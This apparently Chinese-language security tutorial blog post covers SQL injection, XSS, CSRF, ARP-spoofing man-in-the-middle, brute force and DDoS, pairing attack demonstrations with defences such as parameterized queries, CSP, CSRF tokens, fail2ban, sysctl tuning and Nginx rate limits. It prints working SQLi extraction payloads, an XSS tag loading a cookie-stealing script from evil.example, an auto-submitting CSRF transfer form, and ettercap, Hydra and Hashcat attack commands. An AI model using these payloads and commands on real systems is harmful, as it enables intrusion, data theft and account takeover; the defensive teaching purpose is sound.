简介:这是一份面向网络安全初学者、高校信息安全专业学生及安全培训学员的教学型PPT资料,系统梳理了最常见网络攻击的原理与防范手段。内容以典型攻击步骤为主线,覆盖预攻击探测、漏洞扫描、木马攻击、拒绝服务攻击、欺骗攻击、蠕虫病毒攻击等专题,并详细介绍了Ping探测、TCP connect扫描、SYN半开扫描、秘密扫描等常用技术的工作原理与适用场景,同时给出防火墙、入侵检测、防病毒等基础防护思路。压缩包体积仅2.28MB,内含1个PPT文件,版式清晰、图文并茂,适合课堂演示、自学入门或安全培训备课使用。该资源已有2664人学习下载,知识点密度高,能帮助读者快速建立从“探测—渗透—驻留—传播—瘫痪”的完整攻击链认知,是一份实用的网络安全入门参考。
1. 最常见的网络攻击,拼的从来不是技术
做了几年安全运维,一个反直觉的结论是:真正让企业翻车的往往不是零日漏洞,而是几种被分析过无数遍的经典攻击——SQL注入、XSS、暴力破解、中间人、DDoS。它们之所以“常见”,不是因为威力最大,而是因为攻击成本低、防御容易被忽略。很多团队把预算砸在最新威胁情报上,却连参数化查询都没做全。这篇文章把这五类攻击的原理、复现手法、检测特征和防御参数全部摊开,给的是能直接抄的作业。适合刚接手安全建设的一线运维和开发,也适合想系统补全攻击面认知的从业者。世界著名的网络攻击事件里,SolarWinds、WannaCry、Equifax数据泄露,本质上都是这些老套路换了一层新皮。看懂底层逻辑,才能防住变种。
2. SQL注入:从“猜字段”到“拿权限”的完整链路
2.1 注入点判断:单引号、布尔盲注和时间盲注
SQL注入的本质是用户输入被拼接进了SQL语句,改变了原有语义。最常见的是数字型和字符型两类。数字型注入直接拼id=1 and 1=1,字符型则需要闭合引号。手工判断注入点,第一件事是改变输入让SQL报错。一个经典手法是输入id=1',如果页面返回数据库错误,基本可以确认存在字符型注入点。但这种探测容易被WAF拦截,所以实际场景里更常用的是布尔盲注——通过and 1=1与and 1=2两次请求的页面差异来判断后端是否执行了拼接。
时间盲注是被WAF逼到墙角时的武器。当页面无论输入什么响应都一样、也不报错时,利用if(condition,sleep(5),0)类语句让数据库延迟响应。一次请求延迟5秒说明条件为真。这个方法的缺点是慢,但适合慢速绕过。实际测试中我把这三种方式编成一组探测序列:
-- 探测数字型注入 id=1 and 1=1 id=1 and 1=2 -- 探测字符型注入 id=1' id=1' and '1'='1 -- 时间盲注探针,命中后响应延迟5秒 id=1 and if(1=1,sleep(5),0)写这条探测序列时的逻辑很清楚:先判断类型,再判断注入点在SQL中的位置,最后用布尔或时间条件确认是否整条语句都在可控范围。and if(1=1,sleep(5),0)只在MySQL下生效,换到SQL Server就得改成WAITFOR DELAY '0:0:5'。确认注入点后不要急着继续,先看响应包里的错误信息——数据库版本、错误格式能直接帮你确定方言,后面构造payload全靠它。
2.2 手工脱库流程:order by、union select、报错注入
确认注入点之后,常规流程是猜字段数、找显示位、脱库。用order by逐步递增字段数,当id=1 order by 10报错而order by 9正常时,说明SELECT查询只有9列。下一步用union select找页面上回显的位置——把union select 1,2,3...的结果和原查询结果合并,看哪个位置的数字显示在页面里。
报错注入是当页面不显示查询结果但显示错误信息时最有效的手段。以MySQL为例,updatexml函数接收XPATH表达式,如果表达式非法就会把错误内容带进报错信息。于是构造:
-- 查询当前数据库名,报错信息里会带出结果 id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- 脱库:查information_schema里的表名,逐个取 id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)这里的逻辑是:concat把结果和波浪号拼接,0x7e是波浪号的十六进制,目的是让拼接结果必然不符合XPATH格式,从而触发报错。limit 0,1控制每次只取一行,因为报错信息长度有限,逐行拿是最稳的。敏感数据量大的时候,配合group_concat一次能拖出几十条,但报错注入的输出长度上限大约32字节,超长会被截断。碰到这种瓶颈,换成extractvalue或者直接上SQLMap脚本,没必要死磕手工。
SQLMap命令里最值得调的两个参数是--risk和--level。默认level 1只测GET参数,把level提到2或3才会去测Cookie和User-Agent这些Header。代价是请求数量成倍上涨,生产环境压测时会把日志打爆,这一点必须提前评估。
2.3 根本性防御:参数化查询与最小权限账户
修复SQL注入,首选一定是参数化查询,不是过滤关键字。过滤'或select的思路在编码绕过面前不堪一击—攻击者用十六进制编码、双写、注释符就能绕过。参数化查询让SQL语句结构固定,用户输入只作为参数传递,不存在“拼接”这一步,注入自然失效。
# 错误示范:字符串拼接SQL,无防护 cursor.execute(f"SELECT * FROM users WHERE email = '{email}' AND password = '{password}'") # 正确示范:参数化查询,输入只当数据用 cursor.execute("SELECT * FROM users WHERE email = %s AND password = %s", (email, password))两段代码的区别不是写法问题,是查询的构造时机不同。拼接版本在Python层就把输入合进了SQL文本,数据库收到的是完整指令;参数化版本把SQL骨架和参数分离提交,数据库在解析阶段就把参数当作字面量,不可能改变语句结构。配合最小权限原则,数据库账号只给SELECT权限,攻击者即使注入成功也拿不到写权限,更不能碰INTO OUTFILE写shell。这两道防线同时上,SQL注入的攻击面基本就被封死了。
3. XSS与CSRF:浏览器信任链上的两只手
3.1 反射型、存储型与DOM型:攻击入口和触发差异
XSS的核心问题是浏览器无法区分脚本和页面内容。三种类型的分野在于“恶意脚本从哪里来、什么时候执行”。反射型藏在URL参数里,即时渲染,攻击者需要诱导受害者点击链接;存储型把payload落进数据库,受害者主动打开正常页面就中招,危害最高;DOM型不需要服务器参与,纯前端接收参数后直接操作DOM,传统WAF很难发现。
判断XSS类型,看payload的执行时机和持久性。反射型弹窗后刷新即消失,存储型刷新仍然存在,DOM型用Burp把POST改GET也能触发。三者的共同点是输出点未做转义。实战中存储型最典型杀伤场景是评论区:
<!-- 恶意评论:假装包含一段正常文本 --> <script src="https://evil.example/steal.js"></script> <!-- 展示页把这段评论按HTML渲染,访问用户全部中招 --> <div class="comment">欢迎大佬指导<script src="https://evil.example/steal.js"></script></div>这段代码的逻辑是浏览器解析HTML时会执行<script>标签,无论src指向哪里。攻击者控制的是评论内容,受害者的浏览器主动去加载了无关域名的脚本。该脚本能读取当前页面的Cookie、LocalStorage,甚至抓取DOM里的敏感信息。防御的关键是内容安全策略(CSP),把script-src白名单收紧到只允许本站域名,外部域名的脚本全部拒绝加载。同时把用户内容里的<script>、<img onerror>这类标签一律转义成文本实体,双管齐下。
3.2 CSRF复现与Token校验:从理论到防护参数
CSRF利用的是浏览器自动携带Cookie的机制。受害者登录银行站点后,再打开攻击者的恶意页面,页面上一个隐藏表单向银行发请求,由于Cookie还在有效期内,服务器认为这是本人操作。核心前提有三个:受害者未退出登录、目标站点未做请求来源校验、请求可被预构造。
复现一个最简单的CSRF攻击:
<!-- 攻击者页面:受害者只要打开,就向银行接口发起转账 --> <form action="https://bank.example/transfer" method="POST" id="csrf"> <input type="hidden" name="to_account" value="attacker_001" /> <input type="hidden" name="amount" value="10000" /> </form> <script>document.getElementById("csrf").submit();</script>表单提交是纯HTML能力,不需要任何JavaScript。autocomplete=off和onsubmit都拦不住这种攻击,因为它是浏览器对用户“主动”操作的自然结果。防御方案的优先级排列是:同步Token模式最通用——服务器生成随机Token放进表单隐藏字段,并在Session中存储,提交时比对;SameSite Cookie属性是轻量补充——SameSite=Lax或Strict可以阻止跨站请求携带Cookie;再就是校验Origin/Referer头。三步全做才稳,只做一步都容易被绕过。
4. 中间人攻击与暴力破解:不依赖漏洞的“低技术”攻击
4.1 ARP欺骗/Captive Portal的流量劫持原理
中间人攻击的主角是ARP欺骗和DNS劫持。ARP欺骗利用局域网内地址解析协议的漏洞——设备回答“我是网关”时不需要验证身份。攻击者发送伪造ARP应答,把受害者的流量引到自己机器上,再开启IP转发把数据流向真实网关,转发过程中流量完全可见。危害不在于窃听,而在于可以通过注入恶意内容改写页面。
复现这个攻击用ettercap比较直观:
# 查看局域网内存活主机,确认网关IP netdiscover -r 192.168.1.0/24 # 启用ARP欺骗:-M表示MITM模式,//表示攻击所有主机,网关目标为192.168.1.1 ettercap -T -M arp:remote /192.168.1.1// /192.168.1.0/24// # 开启内核转发,让流量正常去往网关 echo 1 > /proc/sys/net/ipv4/ip_forwardarp:remote参数的含义是双向欺骗——既骗受害者说攻击者MAC是网关,又骗网关说攻击者MAC是受害者。/192.168.1.1//里的空参数表示对该IP所有端口生效。中间人链路建立后,如果目标站点走HTTP明文流量,dsniff工具集里的urlsnarf可以直接抓取URL,mailsnarf能读邮箱内容。这些工具都已经过时,但原理从未过时——所有WiFi钓鱼攻击、公共WiFi流量嗅探都在用它。
防御侧最有效的反击是启用加密协议。HTTPS普及后,中间人窃听的难度大幅提升,前提是用户会看证书报错、客户端启用了证书锁定。企业内部还可以部署端口安全特性,交换机端口绑定MAC地址,超过绑定数量直接drop包,从硬件层掐断ARP欺骗的土壤。
4.2 Hydra和Hashcat的常见用法:字典、规则与速率控制
暴力破解的对象一般是SSH、RDP、Web登录表单。攻击逻辑是拿字典里的用户名密码组合去撞登录接口,撞开一个就是赚到。Hydra在定位这种在线爆破时效率最高,因为它支持多线程和多种协议。
# SSH弱口令爆破:-L指定用户名字典,-P指定密码字典,-t 4控制并发连接数 hydra -L users.txt -P pass.txt -t 4 -f ssh://192.168.1.100 # Web表单爆破:POST参数通过冒号填充,F=错误提示关键字 hydra -L users.txt -P pass.txt 192.168.1.100 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Login failed"-t 4是并发连接数,设太高会触发IDS告警或者被目标防火墙秒封。-f参数在第一个成功的用户名密码被发现后立即停止,能有效节省带宽和时间。http-post-form后面的三段用冒号隔开,分别表示URL、POST体、失败判定条件。^USER^和^PASS^是Hydra的占位符,执行时会替换为字典内容。F=Login failed告诉Hydra什么响应代表登录失败,这个关键字必须跟目标页面真实返回的失败提示一致,否则判定逻辑全错。
离线爆破场景用Hashcat,它的优势是GPU加速。拿到一个数据库的密码哈希后,先跑-m 0(MD5)模式看能不能秒出,不行再上规则变形:
# 使用rockyou字典并附加常见后缀规则,规则文件在hashcat/rules/目录下 hashcat -m 0 -a 0 hash.txt rockyou.txt -r rules/best64.rule -O-O参数开启内核优化,能提升明显速度但会牺牲部分攻击模式。跑不动时优先考虑调整规则而不是堆算力——best64.rule够应对大多数场景,更重型的dive.rule几万条规则变体会把效率拖垮。
4.3 防爆破的硬性底线:fail2ban、验证码与账户锁定策略
暴力破解的防御核心是让攻击者“来不及试完字典”。fail2ban是最经济有效的方案——扫描日志里连续的认证失败记录,达到阈值直接防火墙封禁IP。
# /etc/fail2ban/jail.local 关键配置项 [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 5 findtime = 600 bantime = 3600配置逻辑是10分钟内同一个IP认证失败5次,封禁1小时。maxretry调太低容易误伤正常用户,公司出口NAT环境下多个同事共用IP,5次其实已经偏严,实践中8次更稳妥。bantime不能设永久封禁,攻击者可以通过代理池轮换IP,但封禁本身增加了攻击成本。有了Security Group这层防火墙白名单,SSH端口直接限定来源IP,配合免密登录禁用密码认证,攻击面几乎趋近于零。验证码只应在多次失败后弹出,首次登录就上验证码会严重影响体验。
5. DDoS与流量放大:不靠漏洞、只拼资源的攻击
5.1 SYN Flood、UDP放大和HTTP慢速攻击的流量特征
DDoS攻击的本质是消耗目标资源。SYN Flood利用TCP三次握手的不对称性——攻击者只发SYN不回应ACK,服务器为每个半连接分配内存并等待超时,大量连接把队列耗尽后,正常用户的握手无法建立。UDP放大攻击更省力,攻击者伪造源IP向NTP、DNS等公共服务器发送小请求,响应包放大几十倍流量转向受害者。
三种攻击的流量特征有明显差异。SYN Flood的特征是每秒几万到几十万SYN包且源IP分布极其分散;UDP放大攻击的流量包大小非常均匀,通常是固定长度;HTTP慢速攻击的特征是连接数不高,但每个连接的发送速率极低——攻击者建立连接后长时间不发送完整请求头,服务器等待超时期间连接被占满。识别的关键在流量分布而不是总量。用tcpdump抓包最直观:
# 抓取80端口的SYN包并统计数量,5秒内超过1000个且源IP均不同则为异常 tcpdump -i eth0 'tcp port 80 and tcp[13] & 2 != 0' -c 1000 # 查看当前处于SYN_RECV状态的连接数,正常应在个位数 netstat -ant | grep SYN_RECV | wc -lSYN_RECV数量是判断SYN Flood的核心指标。正常业务同步建立握手的连接可能有几十个,但持续维持在500以上基本可以断定在被打。配合ss -s观察全系统TCP连接状态分布,能快速定位是哪一层被压垮。
5.2 基础缓解:sysctl参数、限连和丢弃无效包
应对SYN Flood的第一道防线是内核参数调优。net.ipv4.tcp_syncookies是必开的——它在SYN队列满时通过计算cookie放行合法握手,不加内存状态就能验证连接真实性。
# 系统级SYN Flood抵御参数:写入sysctl.conf持久化 net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_synack_retries = 2 net.ipv4.tcp_max_syn_backlog = 8192 net.ipv4.tcp_abort_on_overflow = 0tcp_synack_retries从默认5降为2,表示服务器回应SYN-ACK后最多重试2次,攻击者不应答就释放资源。tcp_max_syn_backlog调高允许更多半连接排队,但这只是给服务器赢得喘息时间。tcp_abort_on_overflow设为0,队列满时丢弃新SYN而不是断开已有连接,保证正在通信的合法连接不受影响。这几个参数解决半连接队列耗尽问题,但解决不了带宽被打满的情况。带宽层攻击只能靠机房或云服务商的上游清洗,本地配置在流量进入服务器之前就被消耗了。
5.3 应用层防护:CDN前置、GeoIP限制和连接速率阈值的取舍
应用层DDoS不拼带宽,拼的是连接数和请求效率。CDN前置能把静态资源压力分散到边缘节点,源站只处理经过验证的业务请求。但动态API场景CDN发挥有限,攻击者直连源站IP依然能打穿。关键步骤是隐藏源站IP——DNS解析记录、证书透明度日志、历史DNS记录都可能暴露源站。GeoIP限制是最暴力的手段——业务只覆盖东南亚,却在半小时内收到全球各地请求,直接按地区封禁。Nginx层做连接速率限制是最终防线:
# 限制单IP并发连接数为30,超过进入慢速处理队列 limit_conn_zone $binary_remote_addr zone=conn_limit:10m; limit_conn conn_limit 30; # 限制单IP每秒请求数不超过20,突发50 limit_req_zone $binary_remote_addr zone=req_limit:10m rate=20r/s; limit_req zone=req_limit burst=50 nodelay;burst=50允许瞬间超过速率限制的请求先进入队列排队,超过队列长度的直接返回503。nodelay参数使队列中的请求不等待直接处理,保护正常用户不被排队拖垮。这里的取舍是:burst太大会给攻击者留出穿透空间,太小会误杀正常突发流量。应用层清洗需要结合业务特征持续迭代,没有一劳永逸的答案。迁移到云服务商的高防IP包月方案是省心做法,但成本远高于自建部署,适合业务体量足够大的场景。
6. 安全运营避坑指南:超卖设备、日志盲区和误报疲劳
做了几年安全工作,踩过的坑比成功案例多得多。以下是亲身经历的几条血泪经验,按现象、原因、解决展开。
第一个坑:买了防火墙以为万事大吉,结果设备性能跟不上业务流量。现象是设备开启全部检测规则后CPU常年90%以上,网络延迟时好时坏。原因在于安全设备的处理能力不等于吞吐量标称值,开启深度包检测后性能可能掉一半。解决方法是先评估业务峰值流量再定型号,部署时把检测规则按优先级分层——应用层检测只对高风险端口开,小流量低风险端口走快速路径。
第二个坑:日志只审计不分析,被入侵两周后才发现。现象是事后溯源时发现攻击请求早在两周前就出现在访问日志里,当时运维根本没看。原因是日志量大后,人工排查变成不可能任务,告警规则又只覆盖了已知特征。解决方法是建立“告警分级”机制——规则命中不直接通知人,先扔进消息队列做上下文关联分析,同一IP在短时间内的多次告警自动聚合后升级。SIEM平台的关联规则发挥作用的前提是有基础数据管道,没有管道先建管道,别急着上平台。
第三个坑:漏报和误报的平衡没把握好,安全团队被告警淹没后直接关闭告警。现象是每天几千条告警,其中有价值的不到十条,团队逐渐麻木,真正的高危攻击反而不看。原因是规则阈值设太松,没有按业务特点做差异化配置。解决方法是把告警分成两档:高置信度规则(命令执行、权限提升、横向移动特征)直接推送到企业微信或短信;低置信度规则(异常时间段登录、大流量外发)只在后台列表展示。宁可少收,不可滥收,告警的可信度决定了运营效率。
第四个坑:扫描器凌晨扫描数据库。现象是业务方第二天反馈数据库CPU跑满、慢查询堆积。原因是漏扫工具的暴力探测请求量与生产环境并发上限不兼容。解决方法是漏扫排期避峰,测试环境先行试跑,扫描前跟业务方确认可接受的请求速率上限,把扫描器的timing参数调低,宁可扫得慢,不能把业务扫挂了。
第五个坑:重安全设备、轻基础架构冗余。现象是某次DDoS攻击把出口带宽打满,清洗设备没启用,业务直接瘫了半小时。原因是应急响应预案停留在纸面,没有实际演练过切换流程。解决方法是定期做故障演练,把DDoS清洗的切换步骤写成可执行的SOP,日常就要保持清洗路径和主路径同时在线状态,确保切换只需要改一条路由而不是重新配置设备。基础设施层面的冗余比任何安全产品都更能兜底。
7. 把攻击复现成本地实验:用虚拟环境验证防御配置
理论分析只能建立认知,真正确认防御有效必须动手跑一遍。我习惯用VMware装三台Ubuntu虚拟机组成最小实验网——一台攻击机(Kali或Parrot)、一台靶机(安装LAMP环境)、一台路由模拟器(负责NAT和转发)。把之前提到的SQL注入、XSS复现放进去,攻击机跑SQLMap,靶机上装ModSecurity WAF,对比WAF开关前后的检测情况。
验证参数化查询是否生效的方法很简单——在靶机上开启MySQL通用日志,观察应用生成的SQL语句里是否还会有输入值直接拼接的情况。参数化查询生成的日志里,SQL文本是固定结构,输入值全部作为参数出现在后面的BINLog位置。一旦日志中出现完整拼接的SELECT语句,说明某个接口还在裸奔。同样的方式可以验证CSP配置生效——用浏览器开发者工具打开Console面板,访问带恶意脚本的测试页面,CSP配置正确时控制台会报出“拒绝加载来自xxx的脚本”错误信息。
最后一件事,把调好的fail2ban、sysctl和Nginx限流配置全部用Ansible脚本管理起来,新服务器上线时一键应用。我吃过手动改配置漏掉一台机器的亏,从那以后所有安全基线全走自动化。这套思路希望帮到你——下次再遇到攻击,先回到这些基础攻击类型去排查,多数问题的答案早就写在教科书里了。
本文还有配套的精品资源,点击获取